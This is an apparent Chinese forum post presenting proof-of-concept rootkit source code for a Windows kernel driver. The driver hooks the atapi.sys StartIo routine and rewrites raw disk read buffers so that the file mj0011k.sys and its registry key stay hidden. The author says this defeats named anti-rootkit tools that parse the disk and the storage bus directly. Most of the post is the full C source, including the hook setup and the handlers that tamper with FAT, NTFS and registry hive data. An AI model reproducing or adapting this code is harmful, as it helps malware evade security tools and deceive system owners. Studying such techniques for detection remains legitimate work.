[POC]基于IO Packet隐藏文件和注册表,过磁盘解析和总线解析 
昨天晚上玩过游戏,睡觉前写了一点代码,下午醒来又稍微改了改

只是POC~

文件的貌似有时候能隐藏又时候不行~郁闷的是每次跟过去就可以隐藏了,不跟的话有时候又隐藏不了~最后懒得改了~~~另外 由于没有动CACHE,所以对于用API或者FSD的文件检查反而过不去~

注册表的部分过FILE CACHE的低强度解析(例如狙剑)也是过不了的~由于这方面工具很少,冰刃和DARKSPY又总是在我的虚拟机上蓝屏,所以就没仔细测试了~也许有问题~

hook了atapi.sys的StartIo例程(由IoStartPacket例程调用,SCSI REQUEST BLOCK最后会调用到这里),过滤磁盘访问~

目标是隐藏名为mj0011k.sys及其注册表项~
绕过所有磁盘解析(例如狙剑、FILEREG、RKU、RKR)
和总线解析(例如RKU发送SRB到ATAPI)

文件隐藏的handler直接照抄了AZY的代码 ^_^

代码:
 
ULONG oldstartio;
PDRIVER_OBJECT atapi_dev ; 


VOID unload(
                      PDEVICE_OBJECT DeviceObject,
                      PIRP Irp
    )
{
    atapi_dev->DriverStartIo = oldstartio ; 
    return ; 
}
CHAR fileHide[] = "MJ0011K";
CHAR fileExt[] = "SYS";
WCHAR hideFile[] = L"MJ0011K.SYS";
typedef struct _INDEX_HEADER{
    UCHAR            magic[4];
    USHORT            UpdateSequenceOffset;
    USHORT            SizeInWords;
    LARGE_INTEGER    LogFileSeqNumber;
    LARGE_INTEGER    VCN;
    ULONG            IndexEntryOffset;    // needed!
    ULONG            IndexEntrySize;
    ULONG            AllocateSize;
}INDEX_HEADER, *PINDEX_HEADER;


typedef struct _INDEX_ENTRY{
    LARGE_INTEGER        MFTReference;
    USHORT            Size;                // needed!
    USHORT            FileNameOffset;
    USHORT            Flags;
    USHORT            Padding;
    LARGE_INTEGER        MFTReferParent;
    LARGE_INTEGER        CreationTime;
    LARGE_INTEGER        ModifyTime;
    LARGE_INTEGER        FileRecModifyTime;
    LARGE_INTEGER        AccessTime;
    LARGE_INTEGER        AllocateSize;
    LARGE_INTEGER        RealSize;
    LARGE_INTEGER        FileFlags;
    UCHAR            FileNameLength;
    UCHAR            NameSpace;
    WCHAR            FileName[1];
}INDEX_ENTRY, *PINDEX_ENTRY;

CHAR NtfsFileRecordHeader[] = "FILE";
CHAR NtfsIndexRootHeader[] = "INDX";
#define FILERECORDSIZE 1024
ULONG xxlong = 0x7 ; 
WCHAR regname[] = L"MJ0011K";
VOID HandleRegHide(PVOID buf , ULONG len )
{
    ULONG i ; 
    for (i = 0 ; i < len  ; i ++)
    {
        if (i + 4 >= len)
        {
            break ;
        }
        if (*(ULONG*)((ULONG)buf + i ) == xxlong)
        {
            if (i + 4 + xxlong * sizeof(WCHAR) >= len)
            {
                break ; 
            }

            if (_wcsnicmp((wchar_t*)((ULONG)buf + i + 4) , regname , xxlong))
            {
                RtlZeroMemory((PVOID)((ULONG)buf + i + 4) , xxlong * sizeof(WCHAR));
                *(ULONG*)((ULONG)buf +i ) = 0 ; 
                break ; 
            }
        }
    }
    return ; 
}
VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)
{
    ULONG i;
    BOOLEAN bIsNtfsIndex;
    BOOLEAN bIsNtfsFile;
    ULONG offset = 0;
    ULONG indexSize = 0;
    PINDEX_ENTRY currIndxEntry = NULL;
    PINDEX_ENTRY preIndxEntry = NULL;
    ULONG currPosition;
    
    
    bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);
    bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);
    
    if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE)
    {            
        
        for(i = 0; i < BufLen/0x20; i++)
        {
            if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3))
            {
                
                *(PUCHAR)UserBuf        = 0xe5;
                *(PULONG)((ULONG)UserBuf + 0x1)    = 0;
                
                break;
                
            }
            
            UserBuf = (PVOID)((ULONG)UserBuf + 0x20);
            
        }
        
    } else if(bIsNtfsFile) {
        
        //DbgPrint("FILE0...");
        
        for(i = 0; i < BufLen / FILERECORDSIZE; i++)
        {
            if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))
            {
                memset((PVOID)UserBuf, 0, 0x4);
                memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);
                break;
            }
            
            UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);
            
        }
        
    } else if(bIsNtfsIndex) {
        
        //DbgPrint("INDX...");
        // Index Entries
        
        offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18;
        indexSize = BufLen - offset;
        currPosition = 0;
        
        currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);
        //DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);
        
        while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0)
        {
            if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9))
            {
                memset((PVOID)currIndxEntry->FileName, 0, 18);
                
                if(currPosition == 0)
                {
                    ((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size;
                    break;
                }
                
                preIndxEntry->Size += currIndxEntry->Size;
                
                break;
            }
            
            currPosition += currIndxEntry->Size;
            preIndxEntry = currIndxEntry;
            currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);
            
        }
    }
}



VOID mystartio(  PDEVICE_OBJECT DeviceObject,  PIRP Irp )
{
    PIO_STACK_LOCATION irp_stack ; 

    irp_stack = IoGetCurrentIrpStackLocation(Irp);

    if (irp_stack->DeviceObject->DeviceType == FILE_DEVICE_DISK &&
        irp_stack->Parameters.Scsi.Srb->Function == SRB_FUNCTION_EXECUTE_SCSI &&
        irp_stack->Parameters.Scsi.Srb->CdbLength == 0xA &&
        (irp_stack->Parameters.Scsi.Srb->SrbFlags & SRB_FLAGS_DATA_IN) &&
        irp_stack->Parameters.Scsi.Srb->DataBuffer &&
        irp_stack->Parameters.Scsi.Srb->DataTransferLength
        )

    {
        PVOID buf = irp_stack->Parameters.Scsi.Srb->DataBuffer ; 
        ULONG len = irp_stack->Parameters.Scsi.Srb->DataTransferLength ; 
        ULONG i ; 
        PMDL mdl = Irp->MdlAddress ; 

        KDMSG(("disk device bus read request!lba = %08x , len = %08x\n",
            irp_stack->Parameters.Scsi.Srb->QueueSortKey ,
            irp_stack->Parameters.Scsi.Srb->DataTransferLength));

        __asm
        {
            push    Irp
            push    DeviceObject
            call    oldstartio
        }


        
        buf = MmGetSystemAddressForMdl(mdl );

        HandleAkDiskHide(buf , len );
        HandleRegHide(buf , len);
        return ; 
        
    }
    __asm
    {
        push    Irp
            push    DeviceObject
            call    oldstartio
        }

    return ;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT drvobj , PUNICODE_STRING regpath)
{
    UNICODE_STRING uniname ; 
    NTSTATUS stat ; 


    drvobj->DriverUnload = (PDRIVER_UNLOAD )unload ; 

    RtlInitUnicodeString(&uniname , L"\\Driver\\Atapi");

    stat = ObReferenceObjectByName(&uniname , 
        OBJ_CASE_INSENSITIVE , 
        NULL , 
        0,
        *IoDriverObjectType , 
        KernelMode ,
        NULL , 
        (PVOID*)&atapi_dev);

    if (!NT_SUCCESS(stat))
    {
        KDMSG(("get atapi drvobj failed , stat = %08x\n" , stat));
        return stat ; 
    }

    oldstartio = atapi_dev->DriverStartIo ;
    atapi_dev->DriverStartIo = mystartio;

    return STATUS_SUCCESS ; 
}